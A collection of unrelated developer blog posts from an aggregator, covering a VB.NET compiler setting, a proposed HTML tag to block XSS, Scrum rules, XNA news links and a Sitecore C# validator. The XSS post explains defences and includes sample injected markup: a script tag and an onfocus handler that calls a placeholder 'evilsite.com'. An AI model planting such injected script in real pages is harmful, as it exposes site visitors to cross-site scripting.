<providerOption name="WarnAsError" value="false"/>       </compiler>     </compilers>     </system.codedom>   So the inline VB.NET code on my aspx page was being compiled using the .NET Framework 2.0 when it really needed to be compiled with the .NET Framework 3.5 compiler in order to take advantage of the VB.NET IF() coalesce statement.  Without the VB.NET web.config compiler option, the default is to compile using the .NET Framework 2.0 and the VB.NET IF() coalesce statement does not exist (at least in the form that I want it in).  FYI, there is an older IF statement in VB.NET 2.0 compiler which is why it is giving me the unusual “Expression Expected” error message – see this article for when VB.NET got the new updated version. EDIT (2011-06-20): I had made a wrong assumption in the first version of this blog post.  After a little more research and investigation I was able to figure out that the issue was in the web.config and not with the IIS App Pool.  Thanks to the comment from James which forced me to look into this again.

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  • Wishful Thinking: Why can't HTML fix Script Attacks at the Source?

    - by Rick Strahl
    The Web can be an evil place, especially if you're a Web Developer blissfully unaware of Cross Site Script Attacks (XSS). Even if you are aware of XSS in all of its insidious forms, it's extremely complex to deal with all the issues if you're taking user input and you're actually allowing users to post raw HTML into an application. I'm dealing with this again today in a Web application where legacy data contains raw HTML that has to be displayed and users ask for the ability to use raw HTML as input for listings. The first line of defense of course is: Just say no to HTML input from users. If you don't allow HTML input directly and use HTML Encoding (HttyUtility.HtmlEncode() in .NET or using standard ASP.NET MVC output @Model.Content) you're fairly safe at least from the HTML input provided. Both WebForms and Razor support HtmlEncoded content, although Razor makes it the default. In Razor the default @ expression syntax:@Model.UserContent automatically produces HTML encoded content - you actually have to go out of your way to create raw HTML content (safe by default) using @Html.Raw() or the HtmlString class. In Web Forms (V4) you can use:<%: Model.UserContent %> or if you're using a version prior to 4.0:<%= HttpUtility.HtmlEncode(Model.UserContent) %> This works great as a hedge against embedded <script> tags and HTML markup as any HTML is turned into text that displays as HTML but doesn't render the HTML. But it turns any embedded HTML markup tags into plain text. If you need to display HTML in raw form with the markup tags rendering based on user input this approach is worthless. If you do accept HTML input and need to echo the rendered HTML input back, the task of cleaning up that HTML is a complex task. In the projects I work on, customers are frequently asking for the ability to post raw HTML quite frequently.  Almost every app that I've built where there's document content from users we start out with text only input - possibly using something like MarkDown - but inevitably users want to just post plain old HTML they created in some other rich editing application. See this a lot with realtors especially who often want to reuse their postings easily in multiple places. In my work this is a common problem I need to deal with and I've tried dozens of different methods from sanitizing, simple rejection of input to custom markup schemes none of which have ever felt comfortable to me. They work in a half assed, hacked together sort of way but I always live in fear of missing something vital which is *really easy to do*. My Wishlist Item: A <restricted> tag in HTML Let me dream here for a second on how to address this problem. It seems to me the easiest place where this can be fixed is: In the browser. Browsers are actually executing script code so they have a lot of control over the script code that resides in a page. What if there was a way to specify that you want to turn off script code for a block of HTML? The main issue when dealing with HTML raw input isn't that we as developers are unaware of the implications of user input, but the fact that we sometimes have to display raw HTML input the user provides. So the problem markup is usually isolated in only a very specific part of the document. So, what if we had a way to specify that in any given HTML block, no script code could execute by wrapping it into a tag that disables all script functionality in the browser? This would include <script> tags and any document script attributes like onclick, onfocus etc. and potentially also disallow things like iFrames that can potentially be scripted from the within the iFrame's target. I'd like to see something along these lines:<article> <restricted allowscripts="no" allowiframes="no"> <div>Some content</div> <script>alert('go ahead make my day, punk!");</script> <div onfocus="$.getJson('http://evilsite.com/')">more content</div> </restricted> </article> A tag like this would basically disallow all script code from firing from any HTML that's rendered within it. You'd use this only on code that you actually render from your data only and only if you are dealing with custom data. So something like this:<article> <restricted> @Html.Raw(Model.UserContent) </restricted> </article> For browsers this would actually be easy to intercept. They render the DOM and control loading and execution of scripts that are loaded through it. All the browser would have to do is suspend execution of <script> tags and not hookup any event handlers defined via markup in this block. Given all the crazy XSS attacks that exist and the prevalence of this problem this would go a long way towards preventing at least coded script attacks in the DOM. And it seems like a totally doable solution that wouldn't be very difficult to implement by vendors. There would also need to be some logic in the parser to not allow an </restricted> or <restricted> tag into the content as to short-circuit the rstricted section (per James Hart's comment). I'm sure there are other issues to consider as well that I didn't think of in my off-the-back-of-a-napkin concept here but the idea overall seems worth consideration I think. Without code running in a user supplied HTML block it'd be pretty hard to compromise a local HTML document and pass information like Cookies to a server. Or even send data to a server period. Short of an iFrame that can access the parent frame (which is another restriction that should be available on this <restricted> tag) that could potentially communicate back, there's not a lot a malicious site could do. The HTML could still 'phone home' via image links and href links potentially and basically say this site was accessed, but without the ability to run script code it would be pretty tough to pass along critical information to the server beyond that. Ahhhh… one can dream… Not holding my breath of course. The design by committee that is the W3C can't agree on anything in timeframes measured less than decades, but maybe this is one place where browser vendors can actually step up the pressure. This is something in their best interest to reduce the attack surface for vulnerabilities on their browser platforms significantly. Several people commented on Twitter today that there isn't enough discussion on issues like this that address serious needs in the web browser space. Realistically security has to be a number one concern with Web applications in general - there isn't a Web app out there that is not vulnerable. And yet nothing has been done to address these security issues even though there might be relatively easy solutions to make this happen. It'll take time, and it's probably not going to happen in our lifetime, but maybe this rambling thought sparks some ideas on how this sort of restriction can get into browsers in some way in the future.© Rick Strahl, West Wind Technologies, 2005-2012Posted in ASP.NET  HTML5  HTML  Security   Tweet !function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0];if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src="//platform.twitter.com/widgets.js";fjs.parentNode.insertBefore(js,fjs);}}(document,"script","twitter-wjs"); (function() { var po = document.createElement('script'); po.type = 'text/javascript'; po.async = true; po.src = 'https://apis.google.com/js/plusone.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(po, s); })();

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  • Agile Awakenings and the Rules of Agile

    - by Robert May
    For those that care, you can read my history of management and technology to understand why I think I’m qualified to talk about this at all.  It’s boring, so feel free to skip it. Awakenings I first started to play around with the idea of “agile” in 2004 or 2005.  I found a book on the Rational Unified Process that I thought was good, and attempted to implement parts of it.  I thought I was agile, but really, it wasn’t.   I still didn’t understand the concept of a team.  I still wanted to tell the team what to do and how to get it done.  I still thought I was smarter than the team. After that job, I started work on another project and began helping that team.  The first few months were really rough.  We were implementing Scrum, which was relatively new to everyone on the team, and, quite frankly, I was doing a poor job of it.  I was trying to micro-manage every aspect of the teams work, and we were all miserable. The moment of change came when the senior architect bailed on the project.  His comment to me was: “This isn’t Agile.  Where are the stand-ups?  Where are the stories?”  He was dead on, and I finally woke up.  I finally realized that I was the problem!  I wasn’t trusting the team.  I wasn’t helping the team.  I was being a manager. Like many (most?), I was claiming to be Agile and use Scrum, but I wasn’t in fact following the rules Scrum.  Since then, I’ve done a lot of studying, hands on practice, coaching of many different teams, and other learning around Scrum, and I have discovered that Scrum has some rules that must be followed for success, even though the process is about continuous improvement. I’ve been practicing Scrum right for about 4 years now and have helped multiple teams implement it successfully, so what you’re about to get is based on experience, rather than just theory. The Rules of Scrum In my experience, what I’ve found is that most companies that claim to be doing Scrum or Agile are actually NOT doing either.  This stems largely because they think that they can “adopt the rules of Agile that fit their organization.”  Sadly, many of them think that this means they can adopt iterations (sprints) and not much else.  Either that, or they think they can do whatever they want, or were doing before, and call it Scrum.  This is simply not true. Here are some rules that must be followed for you to really be doing Scrum.  I’ll go into detail on each one of these posts in future blog posts and update links here.  My intent is that this will help other teams implementing scrum to see more success. Agile does not allow you to do whatever you want A Product Owner is required A ScrumMaster is required The team must function as a Team, and QA must be part of the team Support from upper management is required A prioritized product backlog is required A prioritized sprint backlog is required Release planning is required Complete spring planning is required Showcases are required Velocity must be measured Retrospectives are required Daily stand-ups are required Visibility is absolutely required For now, I think that’s enough, although I reserve the right to add more.  If you’re breaking any of these rules, you’re probably not doing Scrum.  There are exceptions to these rules, but until you have practiced Scrum for a while, you don’t know what those exceptions are. Breaking the Rules Many teams break these rules because they are the ones that expose the most pain.  Scrum is not Advil.  It’s not intended to mask the pain, its intended to cure it.  Let me explain that analogy a bit more.  Recently, my 7 year old son broke his arm, quite severely (see the X-Ray to the right).  That caused him a great deal of pain.  We went first to one doctor, and after viewing the X-Ray, they determined that there was no way that they’d cast the arm at their location.  It was simply too bad of a break for them to deal with.  They did, however, give him some Advil for the pain and put a splint on his arm to stabilize the broken bones.  Within minutes, he was feeling much better.  Had we been stupid, we could have gone home and he’d have been just as happy as ever . . . until the pain medication wore off or one of his siblings touched the splint.  Then, all of that pain would come right back to the top.  Sure, he could make it go away by just taking more Advil and moving the splint out of the way, but that wasn’t going to fix the problem permanently. We ended up in an emergency room with a doctor who could fix his arm.  However, we were warned that the fix was going to be VERY painful, and it was.  Even with heavy sedation (Propofol), my son was in enough pain that he squirmed and wiggled trying to get his arm away from the doctor.  He had to endure this pain in order to have a functional arm. But the setting wasn’t the end.  He had to have several casts, had to have it re-broken once, since the first setting didn’t take and finally was given a clean bill of health. Agile implementation is much like this story.  Agile was developed as a result of people recognizing that the development methodologies that were currently in place simply were ineffective.  However, the fix to the broken development that’s been festering for many years is not painless.  Many people start Agile thinking that things will be wonderful.  They won’t!  Agile is about visibility, and often, it brings great pain to surface.  It causes all of the missed deadlines, the cowboy coders, the coasters, the micro-managers, the lazy, and all of the other problems that are really part of your development process now to become painfully visible to EVERYONE.  Many people don’t like this exposure.  Agile will make the pain better, but not if you remove the cast (the rules above) prematurely and start breaking the rules that expose the most pain.  The healing will take time and is not instant (like Advil).  Figuring out what the true source of pain and fixing it is very valuable to you, your team, and your company.  Remember as you’re doing this that Agile isn’t the source of the pain, it’s really just exposing it.  Find the source. My recommendation is that ALL of these rules are followed for a minimum of six months, and preferably for an entire year, before you decide to break any of these rules.  Get a few good releases under your belt.  Figure out what your velocity is and start firing as a team.  Chances are, after you see agile really in action, you won’t want to break the rules because you’ll see their value. More Reading Jean Tabaka recently published a list of 78 Things I Have Learned in 6 Years of Agile Coaching.  Highly recommended. Technorati Tags: Agile,Scrum,Rules

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  • XNA Notes 010

    - by George Clingerman
    With GDC 2011 wrapping up there were a LOT of great interviews and posts with and about XNA and XBLIG and some of our more notorious developers. Definitely worth spending many, many hours watching, listening and reading all those. Very inspiring! Also, don’t forget to get signed up for Dream Build Play! And just as an early warning reminder do NOT, I repeat do NOT wait to submit your game the last day. There are major issues submitting the last day every year and you do not want all your hard work to be hanging on whether your entry actually went through in that last day. Plan on submitting a few days if not a week before. I’m serious, you’ll thank yourself later! Now on to what’s happening in the XNA community! Time Critical XNA News: PAX East Meet Up (really wish I was going!) http://forums.create.msdn.com/forums/p/71921/439262.aspx Want to stay panicked about the countdown to Dream Build Play? Mike McLaughlin shares his DBP countdown clock http://twitter.com/#!/mikebmcl/status/44454458960252928 XNA Team: Nick Gravelyn Only needs less than 600 new users in his unique marketing plan for Pixel Man 2 http://nickgravelyn.com/pixelman2/ And hares his ad revenue numbers with his XNA WP7 games http://theoneswiththelight.com/2011/my-results-with-ad-revenue-for-wp7-games/ XNA MVPs: Andy “The ZMan” Dunn posts his 15,000th App Hub forum post and shares a few thoughts on the MVP summit http://forums.create.msdn.com/forums/t/77625.aspx Chris Williams shares his thoughts on the MVP summit http://geekswithblogs.net/cwilliams/archive/2011/03/07/144229.aspx XNA Developers: Nathan Fouts of Mommy’s Best games Wraps up GDC http://mommysbest.blogspot.com/2011/03/gdc-2011-wrapped.html And shares the wonderful screenshots from Serious Sam. (I’m so jealous people at PAX East willl be playing a demo of this game!) http://mommysbest.blogspot.com/2011/03/serious-sam-double-d.html James Silva of Ska Studios announces http://www.ska-studios.com/2011/03/09/vampire-smile-at-hotel-sierra/ http://www.ska-studios.com/2011/03/08/vengeance-begins-april-6th/ http://www.ska-studios.com/2011/03/04/good-morning-gato-52/ Michael McLaughlin writes an extremely useful set of tips for XNA WP7 developers http://geekswithblogs.net/mikebmcl/archive/2011/03/10/tips-for-xna-wp7-developers.aspx Robert Boyd “the one man XBLIG improving machine” posts his 9 tips for marketing an Xbox LIVE Indie Gam http://www.gamasutra.com/blogs/RobertBoyd/20110309/7183/9_Tips_for_XBLIG_Marketing.php http://forums.create.msdn.com/forums/p/77534/470586.aspx#470586 And shares his day by day experience at GDC this year http://www.gamasutra.com/blogs/RobertBoyd/20110301/7118/GDC_Saves_the_World__Impressions_Day_1.php http://www.gamasutra.com/blogs/RobertBoyd/20110301/7123/GDC_Saves_the_World__Impressions_Day_2.php http://www.gamasutra.com/blogs/RobertBoyd/20110303/7129/GDC_Saves_the_World__Impressions_Day_3.php http://www.gamasutra.com/blogs/RobertBoyd/20110307/7133/GDC_Saves_the_World__Impressions_Day_4.php http://www.gamasutra.com/blogs/RobertBoyd/20110307/7160/GDC_Saves_the_World__Impressions_Day_5.php Phillipe Da Silva releases new IGF Pong Sample preview http://www.vimeo.com/20904070 Xbox LIVE Indie Games (XBLIG): Gamergeddon posts XBox Indie Game Roundup for March 6th http://www.gamergeddon.com/2011/03/06/xbox-indie-game-round-up-march-6th/ Dealspwn interviews FortressCraft developer Projector Games http://www.dealspwn.com/fortresscraft-developer-interview-minecraft-clones-venting-haters-part-1/ http://www.dealspwn.com/fortresscraft-developer-interview-part-2-trials-tribulations-indie-development/ Writings of Mass Destruction continues the Xbox LIVE Indie Game a day campaign, here’s his take on FishCraft (be sure to check out his other posts!) http://writingsofmassdeduction.com/2011/03/05/day-116-fishcraft/ Tom Ogburn shares his GDC notes on the XBLIG panel jotted quickly while attending the panel http://twitter.com/#!/TOgburn/status/44454191028125696 http://www.starlitskygames.com/blogs/site_news/archive/2011/03/06/802.aspx Dave Voyles of Armless Octopus has crazy good coverage on XNA and Xbox LIVE Indie Game developers at GDC 2011. Interviews and articles all extremely well done! http://www.armlessoctopus.com/2011/03/06/gdc-2011-successful-indie-developers-share-insight-on-microsofts-self-publishing-service/ There’s honestly so many posts and interviews you should just hit his front page and scroll down through all of the latest ones. http://www.armlessoctopus.com/ GameMarx Episode 12 http://www.gamemarx.com/video/the-show/27/ep-12-march-4-2011.aspx B.U.T.T.O.N now on Steam! http://www.gamesetwatch.com/2011/03/button_party_game_now_on_steam.php German Xbox Dashboard gets review program from GamePro http://www.armlessoctopus.com/2011/03/07/gamepo-indie-review-show-debuts-on-german-xbox-dashboard/ XboxIndies.com (one of the best XNA sites out there at this point!) continues to add review sites to it’s main review feed. (And don’t forget to play with that awesome XBLIG pivot control!) http://xboxindies.com/ Kris Steele of FunInfused Games shares early footage of his game World of Chalk http://twitter.com/#!/kriswd40/status/45007114371989504 Raymond Matthews of Darkstarmatryx reviews FunInfused Games Abduction Action http://www.darkstarmatryx.com/?p=264 TheVideoGamerRob reviews Zombie Football Carnage http://videogamerrob.wordpress.com/2011/03/08/xblig-review-zombie-football-carnage/ XBLIG Square Off Making the Jump to WP7 http://www.wp7connect.com/2011/03/08/xblig-square-off-will-make-the-jump-to-windows-phone/ Mommy’s Best Games making the news round with their Serious Sam announcement http://www.joystiq.com/2011/03/09/serious-sam-gets-serious-indie-cred-with-new-indie-series/ Most quoted and linked XBLIG article of the week with the least amount of actual facts and reporting. Shared only because it makes me sad that this is the best coverage we get. (Hey reporters, there’s LOT and LOTS of XBLIG and XNA experts you can contact if you need to check up on facts or wonder why on questions like, Why can’t XBLIGs have Nazis? There’s actually a real answer for that..) http://www.joystiq.com/2011/03/06/xblig-facts-nazi-killing-a-no-no-revenue-a-yes-yes/ XNA Development: Mort8088 has been in an XNA tutorial writing frenzy releasing 4 XNA 4.0 entry level tutorials this week! http://mort8088.com/2011/03/06/xna-4-0-tutorial-0-intro/ http://mort8088.com/2011/03/06/xna-4-0-tutorial-1-fonts/ http://mort8088.com/2011/03/06/xna-4-0-tutorial-2-sprites/ http://mort8088.com/2011/03/06/xna-4-0-tutorial-3-input-from-keyboard/ Interesting discussion on what it means to be a community (you do have to sign up to be a member of the XNA UK forums to read it...) http://twitter.com/#!/XNAUK/status/44705269254594560 Slyprid continues his incredible pace on Transmute and shares screens of his new Animation Builder http://twitter.com/#!/slyprid/status/45169271847911424 http://forgottenstarstudios.com/blog/ Philippe Da Silva wants to know who is using IGF for their games. If it’s you, drop him a note letting him know! http://twitter.com/#!/philippedasilva/status/44325893719588864 New Sunburn Video Tutorials released http://www.synapsegaming.com/blogs/fivesidedbarrel/archive/2011/03/07/new-documentation-video-tutorials.aspx Loading and rendering animated collada models using XNA 4.0 http://bunkernetz.wordpress.com/2011/03/09/loading-and-rendering-animated-collada-models-using-xna-4-0/ XNA for Silverlight Developers Part 6 Accelerometer Input http://buzzgamesnews.blogspot.com/2011/03/xna-for-silverlight-developers-part-6.html

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  • Validating a linked item&rsquo;s data template in Sitecore

    - by Kyle Burns
    I’ve been doing quite a bit of work in Sitecore recently and last week I encountered a situation that it appears many others have hit.  I was working with a field that had been configured originally as a grouped droplink, but now needed to be updated to support additional levels of hierarchy in the folder structure.  If you’ve done any work in Sitecore that statement makes sense, but if not it may seem a bit cryptic.  Sitecore offers a number of different field types and a subset of these field types focus on providing links either to other items on the content tree or to content that is not stored in Sitecore.  In the case of the grouped droplink, the field is configured with a “root” folder and each direct descendant of this folder is considered to be a header for a grouping of other items and displayed in a dropdown.  A picture is worth a thousand words, so consider the following piece of a content tree: If I configure a grouped droplink field to use the “Current” folder as its datasource, the control that gets to my content author looks like this: This presents a nicely organized display and limits the user to selecting only the direct grandchildren of the folder root.  It also presents the limitation that struck as we were thinking through the content architecture and how it would hold up over time – the authors cannot further organize content under the root folder because of the structure required for the dropdown to work.  Over time, not allowing the hierarchy to go any deeper would prevent out authors from being able to organize their content in a way that it would be found when needed, so the grouped droplink data type was not going to fit the bill. I needed to look for an alternative data type that allowed for selection of a single item and limited my choices to descendants of a specific node on the content tree.  After looking at the options available for links in Sitecore and considering them against each other, one option stood out as nearly perfect – the droptree.  This field type stores its data identically to the droplink and allows for the selection of zero or one items under a specific node in the content tree.  By changing my data template to use droptree instead of grouped droplink, the author is now presented with the following when selecting a linked item: Sounds great, but a did say almost perfect – there’s still one flaw.  The code intended to display the linked item is expecting the selection to use a specific data template (or more precisely it makes certain assumptions about the fields that will be present), but the droptree does nothing to prevent the author from selecting a folder (since folders are items too) instead of one of the items contained within a folder.  I looked to see if anyone had already solved this problem.  I found many people discussing the problem, but the closest that I found to a solution was the statement “the best thing would probably be to create a custom validator” with no further discussion in regards to what this validator might look like.  I needed to create my own validator to ensure that the user had not selected a folder.  Since so many people had the same issue, I decided to make the validator as reusable as possible and share it here. The validator that I created inherits from StandardValidator.  In order to make the validator more intuitive to developers that are familiar with the TreeList controls in Sitecore, I chose to implement the following parameters: ExcludeTemplatesForSelection – serves as a “deny list”.  If the data template of the selected item is in this list it will not validate IncludeTemplatesForSelection – this can either be empty to indicate that any template not contained in the exclusion list is acceptable or it can contain the list of acceptable templates Now that I’ve explained the parameters and the purpose of the validator, I’ll let the code do the rest of the talking: 1: /// <summary> 2: /// Validates that a link field value meets template requirements 3: /// specified using the following parameters: 4: /// - ExcludeTemplatesForSelection: If present, the item being 5: /// based on an excluded template will cause validation to fail. 6: /// - IncludeTemplatesForSelection: If present, the item not being 7: /// based on an included template will cause validation to fail 8: /// 9: /// ExcludeTemplatesForSelection trumps IncludeTemplatesForSelection 10: /// if the same value appears in both lists. Lists are comma seperated 11: /// </summary> 12: [Serializable] 13: public class LinkItemTemplateValidator : StandardValidator 14: { 15: public LinkItemTemplateValidator() 16: { 17: } 18:   19: /// <summary> 20: /// Serialization constructor is required by the runtime 21: /// </summary> 22: /// <param name="info"></param> 23: /// <param name="context"></param> 24: public LinkItemTemplateValidator(SerializationInfo info, StreamingContext context) : base(info, context) { } 25:   26: /// <summary> 27: /// Returns whether the linked item meets the template 28: /// constraints specified in the parameters 29: /// </summary> 30: /// <returns> 31: /// The result of the evaluation. 32: /// </returns> 33: protected override ValidatorResult Evaluate() 34: { 35: if (string.IsNullOrWhiteSpace(ControlValidationValue)) 36: { 37: return ValidatorResult.Valid; // let "required" validation handle 38: } 39:   40: var excludeString = Parameters["ExcludeTemplatesForSelection"]; 41: var includeString = Parameters["IncludeTemplatesForSelection"]; 42: if (string.IsNullOrWhiteSpace(excludeString) && string.IsNullOrWhiteSpace(includeString)) 43: { 44: return ValidatorResult.Valid; // "allow anything" if no params 45: } 46:   47: Guid linkedItemGuid; 48: if (!Guid.TryParse(ControlValidationValue, out linkedItemGuid)) 49: { 50: return ValidatorResult.Valid; // probably put validator on wrong field 51: } 52:   53: var item = GetItem(); 54: var linkedItem = item.Database.GetItem(new ID(linkedItemGuid)); 55:   56: if (linkedItem == null) 57: { 58: return ValidatorResult.Valid; // this validator isn't for broken links 59: } 60:   61: var exclusionList = (excludeString ?? string.Empty).Split(','); 62: var inclusionList = (includeString ?? string.Empty).Split(','); 63:   64: if ((inclusionList.Length == 0 || inclusionList.Contains(linkedItem.TemplateName)) 65: && !exclusionList.Contains(linkedItem.TemplateName)) 66: { 67: return ValidatorResult.Valid; 68: } 69:   70: Text = GetText("The field \"{0}\" specifies an item which is based on template \"{1}\". This template is not valid for selection", GetFieldDisplayName(), linkedItem.TemplateName); 71:   72: return GetFailedResult(ValidatorResult.FatalError); 73: } 74:   75: protected override ValidatorResult GetMaxValidatorResult() 76: { 77: return ValidatorResult.FatalError; 78: } 79:   80: public override string Name 81: { 82: get { return @"LinkItemTemplateValidator"; } 83: } 84: }   In this blog entry, I have shared some code that I found useful in solving a problem that seemed fairly common.  Hopefully the next person that is looking for this answer finds it useful as well.

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  • 202 blog articles

    - by mprove
    All my blog articles under blogs.oracle.com since August 2005: 202 blog articles Apr 2012 blogs.oracle.com design patch Mar 2012 Interaction 12 - Critique Mar 2012 Typing. Clicking. Dancing. Feb 2012 Desktop Mobility in Hospitals with Oracle VDI /video Feb 2012 Interaction 12 in Dublin - Highlights of Day 3 Feb 2012 Interaction 12 in Dublin - Highlights of Day 2 Feb 2012 Interaction 12 in Dublin - Highlights of Day 1 Feb 2012 Shit Interaction Designers Say Feb 2012 Tips'n'Tricks for WebCenter #3: How to display custom page titles in Spaces Jan 2012 Tips'n'Tricks for WebCenter #2: How to create an Admin menu in Spaces and save a lot of time Jan 2012 Tips'n'Tricks for WebCenter #1: How to apply custom resources in Spaces Jan 2012 Merry XMas and a Happy 2012! Dec 2011 One Year Oracle SocialChat - The Movie Nov 2011 Frank Ludolph's Last Working Day Nov 2011 Hans Rosling at TED Oct 2011 200 Countries x 200 Years Oct 2011 Blog Aggregation for Desktop Virtualization Oct 2011 Oracle VDI at OOW 2011 Sep 2011 Design for Conversations & Conversations for Design Sep 2011 All Oracle UX Blogs Aug 2011 Farewell Loriot Aug 2011 Oracle VDI 3.3 Overview Aug 2011 Sutherland's Closing Remarks at HyperKult Aug 2011 Surface and Subface Aug 2011 Back to Childhood in UI Design Jul 2011 The Art of Engineering and The Engineering of Art Jul 2011 Oracle VDI Seminar - June-30 Jun 2011 SGD White Paper May 2011 TEDxHamburg Live Feed May 2011 Oracle VDI in 3 Minutes May 2011 Space Ship Earth 2011 May 2011 blog moving times Apr 2011 Frozen tag cloud Apr 2011 Oracle: Hardware Software Complete in 1953 Apr 2011 Interaction Design with Wireframes Apr 2011 A guide to closing down a project Feb 2011 Oracle VDI 3.2.2 Jan 2011 free VDI charts Jan 2011 Sun Founders Panel 2006 Dec 2010 Sutherland on Leadership Dec 2010 SocialChat: Efficiency of E20 Dec 2010 ALWAYS ON Desktop Virtualization Nov 2010 12,000 Desktops at JavaOne Nov 2010 SocialChat on Sharing Best Practices Oct 2010 Globe of Visitors Oct 2010 SocialChat about the Next Big Thing Oct 2010 Oracle VDI UX Story - Wireframes Oct 2010 What's a PC anyway? Oct 2010 SocialChat on Getting Things Done Oct 2010 SocialChat on Infoglut Oct 2010 IT Twenty Twenty Oct 2010 Desktop Virtualization Webcasts from OOW Oct 2010 Oracle VDI 3.2 Overview Sep 2010 Blog Usability Top 7 Sep 2010 100 and counting Aug 2010 Oracle'izing the VDI Blogs Aug 2010 SocialChat on Apple Aug 2010 SocialChat on Video Conferencing Aug 2010 Oracle VDI 3.2 - Features and Screenshots Aug 2010 SocialChat: Don't stop making waves Aug 2010 SocialChat: Giving Back to the Community Aug 2010 SocialChat on Learning in Meetings Aug 2010 iPAD's Natural User Interface Jul 2010 Last day for Sun Microsystems GmbH Jun 2010 SirValUse Celebration Snippets Jun 2010 10 years SirValUse - Happy Birthday! Jun 2010 Wim on Virtualization May 2010 New Home for Oracle VDI Apr 2010 Renaissance Slide Sorter Comments Apr 2010 Unboxing Sun Ray 3 Plus Apr 2010 Desktop Virtualisierung mit Sun VDI 3.1 Apr 2010 Blog Relaunch Mar 2010 Social Messaging Slides from CeBIT Mar 2010 Social Messaging Talk at CeBIT Feb 2010 Welcome Oracle Jan 2010 My last presentation at Sun Jan 2010 Ivan Sutherland on Leadership Jan 2010 Learning French with Sun VDI Jan 2010 Learning Danish with Sun Ray Jan 2010 VDI workshop in Nieuwegein Jan 2010 Happy New Year 2010 Jan 2010 On Creating Slides Dec 2009 Best VDI Ever Nov 2009 How to store the Big Bang Nov 2009 Social Enterprise Tools. Beipiel Sun. Nov 2009 Nov-19 Nov 2009 PDF and ODF links on your blog Nov 2009 Q&A on VDI and MySQL Cluster Nov 2009 Zürich next week: Swiss Intranet Summit 09 Nov 2009 Designing for a Sustainable World - World Usabiltiy Day, Nov-12 Nov 2009 How to export a desktop from VDI 3 Nov 2009 Virtualisation Roadshow in the UK Nov 2009 Project Wonderland at EDUCAUSE 09 Nov 2009 VDI Roadshow in Dublin, Nov-26, 2009 Nov 2009 Sun VDI at EDUCAUSE 09 Nov 2009 Sun VDI 3.1 Architecture and New Features Oct 2009 VDI 3.1 is Early-Access Sep 2009 Virtualization for MySQL on VMware Sep 2009 Silpion & 13. Stock Sommerparty Sep 2009 Sun Ray and VMware View 3.1.1 2009-08-31 New Set of Sun Ray Status Icons 2009-08-25 Virtualizing the VDI Core? 2009-08-23 World Usability Day Hamburg 2009 - CfP 2009-07-16 Rising Sun 2009-07-15 featuring twittermeme 2009-06-19 ISC09 Student Party on June-20 /Hamburg 2009-06-18 Before and behind the curtain of JavaOne 2009-06-09 20k desktops at JavaOne 2009-06-01 sweet microblogging 2009-05-25 VDI 3 - Why you need 3 VDI hosts and what you can do about that? 2009-05-21 IA Konferenz 2009 2009-05-20 Sun VDI 3 UX Story - Power of the Web 2009-05-06 Planet of Sun and Oracle User Experience Design 2009-04-22 Sun VDI 3 UX Story - User Research 2009-04-08 Sun VDI 3 UX Story - Concept Workshops 2009-04-06 Localized documentation for Sun Ray Connector for VMware View Manager 1.1 2009-04-03 Sun VDI 3 Press Release 2009-03-25 Sun VDI 3 launches today! 2009-03-25 Sun Ray Connector for VMware View Manager 1.1 Update 2009-03-11 desktop virtualization wiki relaunch 2009-03-06 VDI 3 at CeBIT hall 6, booth E36 2009-03-02 Keyboard layout problems with Sun Ray Connector for VMware VDM 2009-02-23 wikis.sun.com tips & tricks 2009-02-23 Sun VDI 3 is in Early Access 2009-02-09 VirtualCenter unable to decrypt passwords 2009-02-02 Sun & VMware Desktop Training 2009-01-30 VDI at next09? 2009-01-16 Sun VDI: How to use virtual machines with multiple network adapters 2009-01-07 Sun Ray and VMware View 2009-01-07 Hamburg World Usability Day 2008 - Webcasts 2009-01-06 Sun Ray Connector for VMware VDM slides 2008-12-15 mother of all demos 2008-12-08 Build your own Thumper 2008-12-03 Troubleshooting Sun Ray Connector for VMware VDM 2008-12-02 My Roller Tag Cloud 2008-11-28 Sun Ray Connector: SSL connection to VDM 2008-11-25 Setting up SSL and Sun Ray Connector for VMware VDM 2008-11-13 Inspiration for Today and Tomorrow 2008-10-23 Sun Ray Connector for VMware VDM released 2008-10-14 From Sketchpad to ILoveSketch 2008-10-09 Desktop Virtualization on Xing 2008-10-06 User Experience Forum on Xing 2008-10-06 Sun Ray Connector for VMware VDM certified 2008-09-17 Virtual Clouds over Las Vegas 2008-09-14 Bill Verplank sketches metaphors 2008-09-04 End of Early Access - Sun Ray Connector for VMware 2008-08-27 Early Access: Sun Ray Connector for VMware Virtual Desktop Manager 2008-08-12 Sun Virtual Desktop Connector - Insides on Recycling Part 2 2008-07-20 Sun Virtual Desktop Connector - Insides on Recycling Part 3 2008-07-20 Sun Virtual Desktop Connector - Insides on Recycling 2008-07-20 lost in wiki space 2008-07-07 Evolution of the Desktop 2008-06-17 Virtual Desktop Webcast 2008-06-16 Woodstock 2008-06-16 What's a Desktop PC anyway? 2008-06-09 Virtual-T-Box 2008-06-05 Virtualization Glossary 2008-05-06 Five User Experience Principles 2008-04-25 Virtualization News Feed 2008-04-21 Acetylcholinesterase - Second Season 2008-04-18 Acetylcholinesterase - End of Signal 2007-12-31 Produkt-Management ist... 2007-10-22 Usability Verbände, Verteiler und Netzwerke. 2007-10-02 The Meaning is the Message 2007-09-28 Visualization Methods 2007-09-10 Inhouse und Open Source Projekte – Usability verankern und Synergien nutzen 2007-09-03 Der Schwabe Darth Vader entdeckt das Virale Marketing 2007-08-29 Dick Hardt 3.0 on Identity 2.0 2007-08-27 quality of written text depends on the tool 2007-07-27 podcasts for reboot9 2007-06-04 It is the user's itch that need to be scratched 2007-05-25 A duel at reboot9 2007-05-14 Taxonomien und Folksonomien - Tagging als neues HCI-Element 2007-05-10 Dueling Interaction Models of Personal-Computing and Web-Computing 2007-03-01 22.März: Weizenbaum. Rebel at Work. /Filmpremiere Hamburg 2007-02-25 Bruce Sterling at UbiComp 2006 /webcast 2006-11-12 FSOSS 2006 /webcasts 2006-11-10 Highway 101 2006-11-09 User Experience Roundtable Hamburg: EuroGEL 2006 2006-11-08 Douglas Adams' Hyperland (BBC 1990) 2006-10-08 Taxonomien und Folksonomien – Tagging als neues HCI-Element 2006-09-13 Usability im Unternehmen 2006-09-13 Doug does HyperScope 2006-08-26 TED Talks and TechTalks 2006-08-21 Kai Krause über seine Freundschaft zu Douglas Adams 2006-07-20 Rebel At Work: Film Portrait on Weizenbaum 2006-07-04 Gabriele Fischer, mp3 2006-06-07 Dick Hardt at ETech 06 2006-06-05 Weinberger: From Control to Conversation 2006-04-16 Eye Tracking at User Experience Roundtable 